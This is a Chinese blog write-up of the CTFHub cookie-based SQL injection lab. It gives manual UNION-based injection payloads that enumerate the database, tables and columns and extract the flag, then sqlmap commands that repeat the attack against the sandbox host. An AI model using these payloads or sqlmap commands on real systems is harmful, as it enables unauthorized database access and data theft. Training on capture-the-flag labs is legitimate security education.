CTFHUB技能树之SQL——Cookie注入

开启靶场,打开链接:

发现没有注入点,猜测是Cookie注入


用burp抓包发送到repeater中:

先直接发送看看情况:

应该是整数型注入?毕竟默认就是id=1


判断一下字段数:

1 order by 2#

正常回显

1 order by 3#

回显错误,说明字段数是2


查看数据库位置:

1 union select 1,2#

看样子可能不在数据库中,老样子,改成-1 union select 1,2#


(1)爆数据库名

-1 union select 1,database()#

得到数据库名是sqli


(2)爆表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#

得到cxmdnrbzzo表和news表


(3)爆列名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='cxmdnrbzzo'#

得到urweetotud列


(4)爆字段内容(flag)

-1 union select 1,group_concat(urweetotud) from sqli.cxmdnrbzzo#

得到flag:

ctfhub{c177bd6f0e338d70e4f1e63c}


用sqlmap试试:

python sqlmap.py -u "http://challenge-0bf292bea88ff8cd.sandbox.ctfhub.com:10800/" --cookie "id=1" --level 2 --dbs

(注意:不设置level的话没法爆破出数据库信息)

爆出sqli数据库了


python sqlmap.py -u "http://challenge-0bf292bea88ff8cd.sandbox.ctfhub.com:10800" --cookie "id=1" -D sqli --level 2 --tables

爆出cxmdnrbzzo表了


python sqlmap.py -u "http://challenge-0bf292bea88ff8cd.sandbox.ctfhub.com:10800" --cookie "id=1" -D sqli -T cxmdnrbzzo --level 2 --columns

(其实这一步不用爆也行,直接爆字段内容,下一步就是不写列名直接爆字段内容)

爆出urweetotud列了


python sqlmap.py -u "http://challenge-0bf292bea88ff8cd.sandbox.ctfhub.com:10800" --cookie "id=1" -D sqli -T cxmdnrbzzo --level 2 --dump

成功爆出flag

相关推荐
NineData32 分钟前
数据库迁移总踩坑?用 NineData 迁移评估,提前识别所有兼容性风险
数据库·程序员·云计算
阿里云大数据AI技术34 分钟前
用 SQL 调大模型?Hologres + 百炼,让数据开发直接“对话”AI
sql·llm
赵渝强老师3 小时前
【赵渝强老师】PostgreSQL中表的碎片
数据库·postgresql
全栈老石7 小时前
拆解低代码引擎核心:元数据驱动的"万能表"架构
数据库·低代码
倔强的石头_1 天前
kingbase备份与恢复实战(二)—— sys_dump库级逻辑备份与恢复(Windows详细步骤)
数据库
jiayou642 天前
KingbaseES 实战:深度解析数据库对象访问权限管理
数据库
李广坤3 天前
MySQL 大表字段变更实践(改名 + 改类型 + 改长度)
数据库
爱可生开源社区4 天前
2026 年,优秀的 DBA 需要具备哪些素质?
数据库·人工智能·dba
随逸1774 天前
《从零搭建NestJS项目》
数据库·typescript
一次旅行5 天前
网络安全总结
安全·web安全